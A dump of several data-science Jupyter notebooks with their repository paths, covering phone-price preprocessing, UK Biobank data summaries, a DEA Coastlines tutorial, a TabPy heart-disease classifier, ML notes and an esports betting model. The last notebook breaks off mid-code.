code stringlengths 38 801k | repo_path stringlengths 6 263 |
|---|---|
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import pandas as pd
import numpy as np
data = pd.read_csv("../data/phones.csv")
df = pd.DataFrame()
data.head()
df['Marka'] = data['Marka']
df['Model'] = data['Model']
df['Isletim_Sistemi'] = data['İşletim Sistemi']
df['Dahili_Hafiza'] = data['Dahili_Hafiza']
df['On_Kamera_Cozunurlugu'] = data['Ön Kamera Çözünürlüğü']
df['Arka_Kamera_Cozunurlugu'] = data['Arka Kamera Çözünürlüğü']
df['Bellek_Kapasitesi'] = data['Bellek Kapasitesi']
df['Batarya_Kapasitesi'] = data['Batarya Kapasitesi']
df['Fiyat'] = data['Price']
df.head()
# +
for i in range(0,100):
df["Fiyat"] = df.Fiyat.str.replace(',{}'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',00'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',01'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',02'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',03'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',04'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',05'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',06'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',07'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',08'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace(',09'.format(i), '')
df["Fiyat"] = df.Fiyat.str.replace('.', '')
df["Fiyat"] = df.Fiyat.astype(float)
# -
df
df["On_Kamera_Cozunurlugu"] = df.On_Kamera_Cozunurlugu.str.replace('MP', '')
df["Arka_Kamera_Cozunurlugu"] = df.Arka_Kamera_Cozunurlugu.str.replace('MP', '')
df["Bellek_Kapasitesi"] = df.Bellek_Kapasitesi.str.replace('GB', '')
df["Batarya_Kapasitesi"] = df.Batarya_Kapasitesi.str.replace('mAh', '')
df["Batarya_Kapasitesi"] = df.Batarya_Kapasitesi.str.replace('mAH ve üzeri', '')
df["Fiyat"] = df.Fiyat.astype(str)
df["Fiyat"] = df.Fiyat.str.replace('0.0', '')
df
df["On_Kamera_Cozunurlugu"] = df.On_Kamera_Cozunurlugu.astype(float)
df["Arka_Kamera_Cozunurlugu"] = df.Arka_Kamera_Cozunurlugu.astype(float)
df["Bellek_Kapasitesi"] = df.Bellek_Kapasitesi.astype(float)
df["Batarya_Kapasitesi"] = df.Batarya_Kapasitesi.astype(float)
df["Fiyat"] = df.Fiyat.astype(float)
df.head()
df.to_csv("../data/phones-to-presentation.csv",index=False)
X = df.iloc[:, 0:8].values
y = df.iloc[:, 8].values
y = y.reshape(-1, 1)
df['Model'].value_counts()
df['Isletim_Sistemi'].value_counts()
df['Marka'].value_counts()
from sklearn.preprocessing import LabelEncoder
enc = LabelEncoder()
df['Marka'] = enc.fit_transform(df['Marka'])
df = df.drop(['Model'],axis=1)
df['Marka'].value_counts() # samsung:17,xiaomi:21,oppo:13,apple:1,huawei:8,casper:3,tcl:18,generalmobile:5,opporealme:14,reeder:16
df["Isletim_Sistemi"] = df.Isletim_Sistemi.str.replace(' ', '')
df['Isletim_Sistemi'] = df['Isletim_Sistemi'].replace(['iOS'],'1')
df['Isletim_Sistemi'] = df['Isletim_Sistemi'].replace(['Android','Android10','Android10(Q)'],'0')
df['Isletim_Sistemi'].value_counts()
print(df['Batarya_Kapasitesi'].mean())
print(df['Marka'].isnull().values.any())
print(df['Isletim_Sistemi'].isnull().values.any())
print(df['Dahili_Hafiza'].isnull().values.any())
print(df['On_Kamera_Cozunurlugu'].isnull().values.any())
print(df['Arka_Kamera_Cozunurlugu'].isnull().values.any())
print(df['Bellek_Kapasitesi'].isnull().values.any())
print(df['Batarya_Kapasitesi'].isnull().values.any())
print(df['Fiyat'].isnull().values.any())
df.Isletim_Sistemi.fillna(0,inplace=True)
df.On_Kamera_Cozunurlugu.fillna(12,inplace=True)
df.Arka_Kamera_Cozunurlugu.fillna(32,inplace=True)
df.Bellek_Kapasitesi.fillna(4,inplace=True)
df.Batarya_Kapasitesi.fillna(4000,inplace=True)
print(df['Marka'].isnull().values.any())
print(df['Isletim_Sistemi'].isnull().values.any())
print(df['Dahili_Hafiza'].isnull().values.any())
print(df['On_Kamera_Cozunurlugu'].isnull().values.any())
print(df['Arka_Kamera_Cozunurlugu'].isnull().values.any())
print(df['Bellek_Kapasitesi'].isnull().values.any())
print(df['Batarya_Kapasitesi'].isnull().values.any())
print(df['Fiyat'].isnull().values.any())
df
df.to_csv("../data/phones-fill-training.csv",index=False)
| Preprocessing/Preprocessing.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import pandas as pd
qdec_table = "../data/01_qdec_table/sorted.qdec.table.dat"
df = pd.read_csv(qdec_table,sep=" ")
df.head()
len(df)
len(df[df['years']==0])
df['age'] = df['baseline_age'] + df['years']
print("Age - min:",min(df['age']),'max:',max(df['age']))
# UKB male - 1, female - 0
len(df[(df['sex']==0) & (df['years']==0)])
len(df[(df['sex']==1) & (df['years']==0)])
df['id'] = df['fsid_base'].apply(lambda x: x.split("_")[0])
min(df['years'][df['years']>0])
max(df['years'][df['years']>0])
df['years'][df['years']>0].mean()
| 02_ukb/src/data_info.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Introduction to DEA Coastlines <img align="right" src="https://github.com/GeoscienceAustralia/dea-notebooks/raw/develop/Supplementary_data/dea_logo.jpg">
#
# * [**Sign up to the DEA Sandbox**](https://docs.dea.ga.gov.au/setup/sandbox.html) to run this notebook interactively from a browser
# * **Compatibility:** Notebook currently compatible with both the `NCI` and `DEA Sandbox` environments
# * **Products used:** [DEA Coastlines](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines)
#
# ## Background
# Australia has a highly dynamic coastline of over 30,000 km, with over 85% of its population living within 50 km of the coast.
# This coastline is subject to a wide range of pressures, including extreme weather and climate, sea level rise and human development.
# Understanding how the coastline responds to these pressures is crucial to managing this region, from social, environmental and economic perspectives.
#
# ### What this product offers
# [Digital Earth Australia Coastlines](https://maps.dea.ga.gov.au/#share=s-DEACoastlines&playStory=1) is a continental dataset that includes annual shorelines and rates of coastal change along the entire Australian coastline from 1988 to the present.
#
# The product combines satellite data from Geoscience Australia's Digital Earth Australia program with tidal modelling to map the typical location of the coastline at mean sea level for each year.
# The product enables trends of coastal erosion and growth to be examined annually at both a local and continental scale, and for patterns of coastal change to be mapped historically and updated regularly as data continues to be acquired.
# This allows current rates of coastal change to be compared with that observed in previous years or decades.
#
# The ability to map shoreline positions for each year provides valuable insights into whether changes to our coastline are the result of particular events or actions, or a process of more gradual change over time.
# This information can enable scientists, managers and policy makers to assess impacts from the range of drivers impacting our coastlines and potentially assist planning and forecasting for future scenarios.
#
# ### Applications
# * Monitoring and mapping rates of coastal erosion along the Australian coastline
# * Prioritise and evaluate the impacts of local and regional coastal management based on historical coastline change
# * Modelling how coastlines respond to drivers of change, including extreme weather events, sea level rise or human development
# * Supporting geomorphological studies of how and why coastlines have changed across time
#
# ### Publications
# * <NAME>., <NAME>., <NAME>., <NAME>., & <NAME>. (2019). Sub-pixel waterline extraction: Characterising accuracy and sensitivity to indices and spectra. *Remote Sensing*, 11(24), 2984. Available: https://www.mdpi.com/2072-4292/11/24/2984
#
# > **Note:** For more technical information about the DEA Coastlines product, visit the official Geoscience Australia [DEA Coastlines product description](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines).
#
# ## Description
#
# This notebook will demonstrate how to load data from the [Digital Earth Australia Coastlines](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines) product using the Digital Earth Australia datacube.
# Topics covered include:
#
# 1. Loading DEA Coastlines data in a Jupyter notebook or Python using the DEA Coastlines Web Feature Service (WFS)
# 2. Interactively drawing a transect across DEA Coastlines annual coastlines and generating a plot of coastal change through time
# 3. Interactively plotting the distribution of retreating and growing coastlines within a selected region
#
# ***
#
# ## Getting started
#
# To run this analysis, run all the cells in the notebook, starting with the "Load packages" cell.
# ### Load packages
# +
import sys
import geopandas as gpd
import matplotlib.pyplot as plt
sys.path.append('../Scripts')
from dea_coastaltools import deacoastlines_transect
from dea_coastaltools import deacoastlines_histogram
# -
# ## Loading DEA Coastlines data using Web Feature Service (WFS)
#
# DEA Coastlines data can be loaded directly in a Python script or Jupyter Notebook using the DEA Coastlines Web Feature Service (WFS) and `geopandas`:
#
# +
# Specify bounding box
ymax, xmin = -33.65, 115.28
ymin, xmax = -33.66, 115.30
# Set up WFS requests for annual coastlines & rates of change statistics
deacl_coastlines_wfs = f'https://geoserver.dea.ga.gov.au/geoserver/wfs?' \
f'service=WFS&version=1.1.0&request=GetFeature' \
f'&typeName=dea:coastlines&maxFeatures=1000' \
f'&bbox={ymin},{xmin},{ymax},{xmax},' \
f'urn:ogc:def:crs:EPSG:4326'
deacl_statistics_wfs = f'https://geoserver.dea.ga.gov.au/geoserver/wfs?' \
f'service=WFS&version=1.1.0&request=GetFeature' \
f'&typeName=dea:coastlines_statistics&maxFeatures=1000' \
f'&bbox={ymin},{xmin},{ymax},{xmax},' \
f'urn:ogc:def:crs:EPSG:4326'
# Load DEA Coastlines data from WFS using geopandas
deacl_coastlines_gdf = gpd.read_file(deacl_coastlines_wfs)
deacl_statistics_gdf = gpd.read_file(deacl_statistics_wfs)
# Ensure CRSs are set correctly
deacl_coastlines_gdf.crs = 'EPSG:3577'
deacl_statistics_gdf.crs = 'EPSG:3577'
# Print example output
deacl_coastlines_gdf.head()
# -
# We can now plot the DEA Coastlines annual coastlines data using `geopandas`.
# Annual coastlines represent the median or 'typical' position of the coastline at approximately mean sea level tide (0 m AHD) for each year from 1988 to 2019.
# Light-coloured lines (e.g. yellow) in the plot below represent recent coastlines (e.g. 2019), while dark-coloured lines represent older coastlines (e.g. 1988).
#
# > **Note:** For more detail about DEA Coastlines annual coastline data, refer to the official Geoscience Australia [DEA Coastlines product description](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines#details).
# +
# Set year data to integers to allow plotting with a simple colourbar
fig, ax = plt.subplots(figsize=(16, 3.5))
deacl_coastlines_gdf['year'] = deacl_coastlines_gdf.year.astype(int)
deacl_coastlines_gdf.plot(ax=ax, column='year',
cmap='inferno',
legend=True,
legend_kwds={'label': 'Annual coastline'})
# Set plot limits to extent of statistics points
bounds = deacl_statistics_gdf.geometry.total_bounds
ax.set_xlim(bounds[[0, 2]])
ax.set_ylim(bounds[[1, 3]])
# -
# We can also plot the DEA Coastlines rates of change statistics points.
# These points provide robust rates of annual coastal change (in metres per year) for every 30 m along Australia's non-rocky (clastic) coastlines.
# These rates are calculated by linearly regressing annual coastline distances against time, using the most recent 2019 coastline as a baseline.
#
# Negative values (red points) indicate retreat (e.g. erosion), and positive values indicate growth (e.g. progradation) over time.
# By default, rates of change are shown for points with a statistically significant trend over time only.
#
# > **Note:** For more detail about DEA Coastlines rates of change statistics data, refer to the official Geoscience Australia [DEA Coastlines product description](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines#details).
#
#
# +
# Filter points to statistically significant results only
deacl_statistics_gdf = deacl_statistics_gdf.loc[
deacl_statistics_gdf.sig_time < 0.01]
# Plot data
fig, ax = plt.subplots(figsize=(16, 3.5))
deacl_statistics_gdf.plot(
ax=ax,
column='rate_time',
cmap='RdBu',
vmin=-3,
vmax=3,
legend=True,
legend_kwds={'label': 'Rate of change (metres / year)'})
ax.set_title('Rate of change statistics points');
# -
# The DEA Coastlines rates of change statistics points data also provides many additional statistics that give insights into coastal change in Australia.
# For a full description of each of these statistics, refer to the Rates of change statistics section of the official Geoscience Australia [DEA Coastlines product description](https://cmi.ga.gov.au/data-products/dea/581/dea-coastlines#details).
deacl_statistics_gdf.head()
# ### Exporting DEA Coastlines data as vector files
# We can easily export the loaded data as spatial vector files (e.g. ESRI Shapefiles or GeoJSON) so that they can be analysed further in GIS software:
deacl_coastlines_gdf.to_file('deacoastlines_coastlines.shp')
deacl_statistics_gdf.to_file('deacoastlines_statistics.shp')
# ## DEA Coastlines analysis tools
#
# The following sections provide useful tools for analysing DEA Coastlines data directly within a Jupyter Notebook without needing to load the data into GIS software.
# All outputs from the tools below will be saved to a new folder in this directory called `deacoastlines_outputs`.
#
# ### Interactive profile selection
# This tool allows you to interactively draw a transect over DEA Coastlines annual shoreline data, and get back a table and graph showing how shoreline positions have changed over time.
# To use the tool:
#
# 1. Run the cell below; an interactive map will appear
# 2. Zoom in and use the `Draw a polyline` tool on the left to draw a transect so that it crosses through a set of coastlines (transects are limited to 50 km in length).
# For example:
#
# 
#
# 3. Press `Finish` when you are happy with the line, then click `Done` in the top right
# 4. A graph will appear below the map showing distances along the transect to each annual coastline (distances will be measured from the start of the transect line you drew above)
#
# > **Optional:** Set `transect_mode='width'` and re-run the cell below to measure the width between two adjacent sets of coastlines (e.g. across the next of a tombolo or sandbar)
#
# > **Optional:** By default, this tool will export a set of output datasets and figures into a new folder in this directory called `deacoastlines_outputs` unless the `export_*` parameters below are set to `False`. These outputs include:
# > * `export_transect_data`: A CSV file containing the data (i.e. years and distances) extracted for the transect
# > * `export_transect`: Vector files in ESRI Shapefile and GeoJSON format for the transect line feature
# > * `export_figure`: A PNG image file for the transect figure generated by the tool
df = deacoastlines_transect(transect_mode='distance',
export_transect_data=True,
export_transect=True,
export_figure=True)
# The resulting figure shows how coastlines have moved over time relative to the starting point of the transect.
# Time is shown on the y-axis, while distance along the transect (or width if using `transect_mode='width'`) is shown on the x-axis.
# ### Statistics point histogram analysis
# This tool allows you to draw a polygon or rectangle around DEA Coastlines rates of change statistics points, and get back a histogram showing the distribution of growing or retreating points.
# To use the tool:
#
# 1. Run the cell below; an interactive map will appear
# 2. Use the `Draw a polygon` or `Draw a rectangle` tools on the left to select a region (regions are limited to an area of `100,000 sq km`).
# For example:
#
# 
#
# 3. Press `Done` in the top right when ready
# 4. A histogram plot will appear below the map
#
# > **Optional:** Instead of using the interactive map, supply a path to a vector file using the `extent_path` parameter (e.g. `extent_path='study_area.shp`).
# If this option is selected, you can also supply a column name in the dataset to `extent_id_col` which will be used to name the output files (e.g. `extent_id_col='compartment_id'`).
# To revert to the interactive map, set `extent_path=None`.
#
# > **Optional:** Set `hist_log=True` and re-run the cell below to generate a log-scale histogram plot
#
# > **Optional:** By default, this tool will export a set of output datasets and figures into a new folder in this directory called `deacoastlines_outputs` unless the `export_*` parameters below are set to `False`. These outputs include:
# > * `export_points_data`: A CSV file containing raw data for all DEA Coastlines rates of change statistics points in the selected extent
# > * `export_summary_data`: A CSV file containing summary statistics for all rates of change statistics points in the selected extent
# > * `export_extent`: Vector files in ESRI Shapefile and GeoJSON format giving the selected area extent
# > * `export_figure`: A PNG image file for the histogram figure generated by the tool
#
#
#
#
df = deacoastlines_histogram(extent_path=None,
extent_id_col=None,
hist_log=True,
export_points_data=True,
export_summary_data=True,
export_extent=True,
export_figure=True)
# The histogram plot above shows the distribution of growing (e.g. prograding; blue bars) and retreating (e.g. eroding; red bars) coastlines in the selected region, with annual rates of change (in metres per year) on the x-axis.
# Note that by default the y-axis will be shown on a log scale which emphasises lower frequency results; for a linear y-axis, re-run the function above with `hist_log=False`.
#
# ### Remove output files
# Run this cell to clean up your directory by removing any output files generated by this notebook and saved to the `deacoastlines_outputs` folder.
#
# > **Note:** This cannot be undone, so ensure any important outputs have been downloaded to your computor before proceeding.
#
# !rm -r deacoastlines_outputs
# ## Next steps: coastline erosion notebook
#
# The [Coastal erosion notebook](../Real_world_examples/Coastal_erosion.ipynb) in this repository provides a simplified example of the method used to extract DEA Coastlines annual coastlines data.
# Run this notebook if you would like to generate more customised coastlines for a specific location, time period, epoch (e.g. annual or biennial coastlines) or tidal range (e.g. the posituion of the coastline at low, mid or high tide).
#
# > **Note:** This notebook currently supports extracting coastline data only, not generating rates of change statistics like those included in the DEA Coastlines product.
# ---
#
# ## Additional information
#
# **License:** The code in this notebook is licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0).
# Digital Earth Australia data is licensed under the [Creative Commons by Attribution 4.0](https://creativecommons.org/licenses/by/4.0/) license.
#
# **Contact:** If you need assistance, please post a question on the [Open Data Cube Slack channel](http://slack.opendatacube.org/) or on the [GIS Stack Exchange](https://gis.stackexchange.com/questions/ask?tags=open-data-cube) using the `open-data-cube` tag (you can view previously asked questions [here](https://gis.stackexchange.com/questions/tagged/open-data-cube)).
# If you would like to report an issue with this notebook, you can file one on [Github](https://github.com/GeoscienceAustralia/dea-notebooks).
#
# **Last modified:** November 2020
# ## Tags
# Browse all available tags on the DEA User Guide's [Tags Index](https://docs.dea.ga.gov.au/genindex.html)
# + raw_mimetype="text/restructuredtext" active=""
# **Tags**: :index:`NCI compatible`, :index:`sandbox compatible`, :index:`DEA Coastlines`, :index:`coastal erosion`, :index:`widgets`, :index:`ipyleaflet`, :index:`geopandas`, :index:`WFS`, :index:`dea datasets`, :index:`no_testing`
| DEA_datasets/DEA_Coastlines.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python [default]
# language: python
# name: python2
# ---
# # Using Python and Machine Learning Algorithms within Tableau: Heart Disease
#
# UCI Machine Learning Repository link:
#
# https://archive.ics.uci.edu/ml/datasets/Heart+Disease
#
# Used reference code to deploy functions to Tableau via TabPy:
#
# https://www.tableau.com/about/blog/2017/1/building-advanced-analytics-applications-tabpy-64916
import math
import numpy as np
import pandas as pd
from sklearn.grid_search import GridSearchCV
from sklearn.linear_model import LogisticRegressionCV
from sklearn.naive_bayes import GaussianNB
from sklearn.cross_validation import cross_val_score, cross_val_predict, StratifiedKFold
from sklearn import preprocessing, metrics, svm, ensemble
from sklearn.metrics import accuracy_score, classification_report
import tabpy_client
# %pylab inline
# ### Data pre-processing: drop nulls, examine class attribute
# +
hd = pd.read_csv('./processed.cleveland.data.csv', names= ["age", "sex", "chest_pain", "resting_bp", "chol", "fbs", "restecg", "thalach", "exang", "oldpeak", "slope", "ca", "thal", "diagnosis"])
print 'The size of the file, before nulls dropped, is: ', hd.shape
hd = hd.replace('?', np.nan)
hd = hd.dropna()
# Define diagnosis of 1-4 as 'risk' and 0 as 'healthy'
def diagnosis(row):
if row['diagnosis'] > 0:
return 'risk'
else:
return 'healthy'
hd['diagnosis'] = hd.apply(diagnosis, axis=1)
print 'The size of the file, after nulls dropped, is: ', hd.shape
#hd.to_csv('./cleveland_data_for tableau.csv', index=False)
hd.head()
# -
hd.groupby('diagnosis').describe()
# Since class attribute is vales 0-4, there is no need to convert text to numeric using encoder, no transformation needed
encoder = preprocessing.LabelEncoder()
hd['diagnosis'] = encoder.fit_transform(hd['diagnosis'])
hd.head()
# Split data into X, y
X = np.array(hd.drop(['diagnosis'], 1))
y = np.array(hd['diagnosis'])
# Support Vector Machine reference:
#
# http://scikit-learn.org/stable/modules/svm.html
#
# To determine which model evaluations work best, via 'scoring':
#
# http://scikit-learn.org/stable/modules/model_evaluation.html#scoring-parameter
# +
# Scale the data (Assume that all features are centered around 0 and have variance in the same order. If a feature has a variance that is orders of magnitude larger that others, it might dominate the objective function and make the estimator unable to learn from other features correctly as expected.)
# Note in order for StandardScaler to work, need to remove any nulls in data set prior to running
scalar = preprocessing.StandardScaler().fit(X)
X = scalar.transform(X)
# 10 fold stratified cross validation
kf = StratifiedKFold(y, n_folds=10, random_state=None, shuffle=True)
# Define the parameter grid to use for tuning the Support Vector Machine
parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4], 'C': [1, 10, 100, 1000]},
{'kernel': ['linear'], 'C': [1, 10, 100, 1000]}]
# Choose performance measures for modeling
scoringmethods = ['f1','accuracy','precision', 'recall','roc_auc']
# scoringmethods = ['f1_weighted', 'accuracy', 'precision_weighted', 'recall_weighted']
# +
# Iterate through different metrics looking for best parameter set
for score in scoringmethods:
print("~~~ Hyper-parameter tuning for best %s ~~~" % score)
# Setup for grid search with cross-validation for Support Vector Machine
# n_jobs=-1 for parallel execution using all available cores
svmclf = GridSearchCV(svm.SVC(C=1), parameters, cv=kf, scoring=score,n_jobs=-1)
svmclf.fit(X, y)
# Show each result from grid search
print("Scores for different parameter combinations in the grid:")
for params, mean_score, scores in svmclf.grid_scores_:
print(" %0.3f (+/-%0.03f) for %r"
% (mean_score, scores.std() / 2, params))
print("")
# Show classification report for the best model (set of parameters) run over the full dataset
print("Classification report:")
y_pred = svmclf.predict(X)
print(classification_report(y, y_pred))
# Show the definition of the best model
print("Best model:")
print(svmclf.best_estimator_)
# Show accuracy
print("Accuracy: %0.3f" % accuracy_score(y, y_pred, normalize=True))
print("Aucroc: %0.3f" % metrics.roc_auc_score(y, y_pred))
print("")
# +
# Logistic regression with 10 fold stratified cross-validation using model specific cross-validation in scikit-learn
lgclf = LogisticRegressionCV(Cs=list(np.power(10.0, np.arange(-10, 10))),penalty='l2',scoring='roc_auc',cv=kf)
lgclf.fit(X, y)
y_pred = lgclf.predict(X)
# Show classification report for the best model (set of parameters) run over the full dataset
print("Classification report:")
print(classification_report(y, y_pred))
# Show accuracy and area under ROC curve
print("Accuracy: %0.3f" % accuracy_score(y, y_pred, normalize=True))
print("Aucroc: %0.3f" % metrics.roc_auc_score(y, y_pred))
# +
# Naive Bayes with 10 fold stratified cross-validation
nbclf = GaussianNB()
scores = cross_val_score(nbclf, X, y, cv=kf, scoring= 'accuracy')
print("Accuracy: %0.3f" % (scores.mean()))
print("Aucroc: %0.3f" % metrics.roc_auc_score(y, cross_val_predict(nbclf, X, y, cv=kf)))
# +
# Define the parameter grid to use for tuning the Gradient Boosting Classifier
gridparams = dict(learning_rate=[0.01, 0.1],loss=['deviance','exponential'])
# Parameters we're not tuning for this classifier
params = {'n_estimators': 1500, 'max_depth': 4}
# Setup for grid search with cross-validation for Gradient Boosting Classifier
# n_jobs=-1 for parallel execution using all available cores
gbclf = GridSearchCV(ensemble.GradientBoostingClassifier(**params), gridparams, cv=kf, scoring='roc_auc',n_jobs=-1)
gbclf.fit(X,y)
# Show the definition of the best model
print("Best model:")
print(gbclf.best_estimator_)
print("")
# Show classification report for the best model (set of parameters) run over the full dataset
print("Classification report:")
y_pred = gbclf.predict(X)
print(classification_report(y, y_pred))
# Show accuracy and area under ROC curve
print("Accuracy: %0.3f" % accuracy_score(y, y_pred, normalize=True))
print("Aucroc: %0.3f" % metrics.roc_auc_score(y, y_pred))
# -
# Connect to TabPy server using the client library
connection = tabpy_client.Client('http://localhost:9004/')
# The scoring function that will use the Gradient Boosting Classifier to classify new data points
def HDDiagnosis(age, sex, chest_pain, resting_bp, chol, fbs, restecg, thalach, exang, oldpeak, slope, ca, thal):
X = np.column_stack([age, sex, chest_pain, resting_bp, chol, fbs, restecg, thalach, exang, oldpeak, slope, ca, thal])
X = scalar.transform(X)
return encoder.inverse_transform(gbclf.predict(X)).tolist()
connection.deploy('HDDiagnosis',
HDDiagnosis,
'Returns diagnosis suggestion (healthy or risk) based on ensemble model trained using Cleveland Heart Disease dataset',
override=True)
| TabPy/HD ML Example.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# # Types of Machine Learning
# * ### Whether or not they are trained with human supervision
# 1. *Supervised*
# 2. *Unsupervised*
# 3. *Semisupervised*
# 4. *Reinforcement Learning*
# * ### Whether or not they can learn incrementally on the fly
# 1. *online*
# 2. *batch*
# * ### Whether they work by simply comparing new data points to known data points, or instead by detecting patterns in the training data and building a predictive model
# 1. *instance-based*
# 2. *model-based*
#
# ### *1. Supervised algorithms*
# - k-Nearest Neighbors
# - Linear Regression
# - Logistic Regression
# - Support Vector Machines(SVMs)
# - Decision Trees and Random Forests
# - Neural Networks
# ### *2. Unsupervised algorithms*
# * Clustering
# 1. *K-Means*
# 2. *DBSCAN*
# 3. *Hierarchical Cluster Analysis (HCA)*
# * Anomaly Detection and novelty detection
# 1. *One-class SVM*
# 2. *Isolation Forest*
# * Visualization and dimensionalty reduction
# 1. *Princical Component Analysis (PCA)*
# 2. *Kernel PCA*
# 3. *LOcally Linear Embedding*
# 4. *t-Distributed Stochastic Neighbor Embedding(t-SNE)*
# * Association rule learning
# 1. *Apriori*
# 2. *Eclat*
#
| chapter_01/01_notes.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
import pandas as pd
from sklearn.ensemble import RandomForestClassifier
from functions import custom_cv_eval, get_best_features, get_ev_from_df, get_bet_ev
from sklearn.tree import DecisionTreeClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.preprocessing import StandardScaler
import numpy as np
from sklearn.neural_network import MLPClassifier
from sklearn.ensemble import GradientBoostingClassifier
np.set_printoptions(suppress=True) #Suppress Scientific Notation
df=pd.read_csv("data/owl-with-odds.csv")
df_event=pd.read_csv("data/upcoming-with-odds.csv")
df.shape
df_event.shape
# +
subset = ['t1_odds', 't2_odds']
df.dropna(subset=subset ,inplace=True)
df['t1_odds'] = pd.to_numeric(df['t1_odds'], errors='coerce')
df['t2_odds'] = pd.to_numeric(df['t2_odds'], errors='coerce')
df.dropna(subset=subset ,inplace=True)
# +
subset = ['t1_odds', 't2_odds']
df_event.dropna(subset=subset ,inplace=True)
df_event['t1_odds'] = pd.to_numeric(df_event['t1_odds'], errors='coerce')
df_event['t2_odds'] = pd.to_numeric(df_event['t2_odds'], errors='coerce')
df_event.dropna(subset=subset ,inplace=True)
# -
df_train=df.copy()
df_test = df_event.copy()
#inclusive features
features = ['team_one', 'team_two', 'corona_virus_isolation', 't1_wins_season',
't1_losses_season', 't2_wins_season', 't2_losses_season',
't1_matches_season', 't2_matches_season', 't1_win_percent_season',
't2_win_percent_season', 't1_wins_alltime', 't1_losses_alltime',
't2_wins_alltime', 't2_losses_alltime', 't1_matches_alltime',
't2_matches_alltime', 't1_win_percent_alltime',
't2_win_percent_alltime', 't1_wins_last_3', 't1_losses_last_3',
't2_wins_last_3', 't2_losses_last_3', 't1_win_percent_last_3',
't2_win_percent_last_3', 't1_wins_last_5', 't1_losses_last_5',
't2_wins_last_5', 't2_losses_last_5', 't1_win_percent_last_5',
't2_win_percent_last_5', 't1_wins_last_10', 't1_losses_last_10',
't2_wins_last_10', 't2_losses_last_10', 't1_win_percent_last_10',
't2_win_percent_last_10',
't1_wins_vs_t2', 't1_losses_vs_t2',
't1_matches_vs_t2', 't1_odds', 't2_odds', 'winner_label']
# +
df_test_filtered = df_test[features].copy()
df_train_filtered = df_train[features].copy()
df_test_filtered.dropna(inplace=True)
df_train_filtered.dropna(inplace=True)
df_test_team_names = df_test_filtered[['team_one', 'team_two']]
df_train_team_names = df_train_filtered[['team_one', 'team_two']]
# -
model_5 = DecisionTreeClassifier(ccp_alpha=0.0, class_weight=None, criterion='entropy',
max_depth=12, max_features=None, max_leaf_nodes=None,
min_impurity_decrease=0.0, min_impurity_split=None,
min_samples_leaf=4, min_samples_split=2,
min_weight_fraction_leaf=0.0, presort='deprecated',
random_state=75, splitter='best')
features_5 = ['t1_wins_last_3', 't2_matches_alltime', 'winner_label', 't1_odds', 't2_odds']
df_5 = df_train_filtered[features_5]
display(df_test_team_names)
# +
X=df_train_filtered[features_5].copy()
X_test=df_test_filtered[features_5].copy()
y = X['winner_label']
y_test=X_test['winner_label']
X = X.drop('winner_label', axis=1)
X_test = X_test.drop('winner_label', axis=1)
model_5.fit(X, y)
probs=model_5.predict_proba(X_test)
X_test_list = np.array(X_test)
X_odds = list(zip(X_test_list[:, -2], X_test_list[:, -1], probs[:, 0], probs[:, 1], y_test))
ev_prepped_df = pd.DataFrame(X_odds, columns=['t1_odds', 't2_odds', 't1_prob', 't2_prob', 'winner'])
final_probs_df = pd.concat([ev_prepped_df, df_test_team_names.reset_index()], axis=1)
#display(ev_prepped_df)
#get_ev_from_df(ev_prepped_df, True, min_ev=99)
#probs_5 = probs
ev_prepped_df.shape
# +
display(final_probs_df)
# +
min_ev = 99
for index, row in final_probs_df.iterrows():
team_one_ev = get_bet_ev(row['t1_odds'], row['t1_prob'])
team_two_ev = get_bet_ev(row['t2_odds'], row['t2_prob'])
if (team_one_ev >=99):
print(f"BET: {row['team_one']} ({row['t1_odds']}) over {row['team_two']} ({row['t2_odds']}). EV: {team_one_ev}")
if (team_two_ev >=99):
print(f"BET: {row['team_two']} ({row['t2_odds']}) over {row['team_one']} ({row['t1_odds']}). EV: {team_two_ev}")
# -
| get-bets-for-5-9-2020.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# %load_ext autoreload
# %autoreload 2
import pandas as pd
import os
import matplotlib
from dataprep.eda import plot,plot_correlation
import seaborn as sns
import warnings
warnings.filterwarnings('ignore')
os.chdir('..')
perfiles = pd.read_parquet('data/raw/flex_perfiles_usuario.parquet')
perfiles.dtypes
perfiles.loc[perfiles["posicion"]=="manual","posicion"] = "Manual"
perfiles
for col in ["altura", "peso"]:
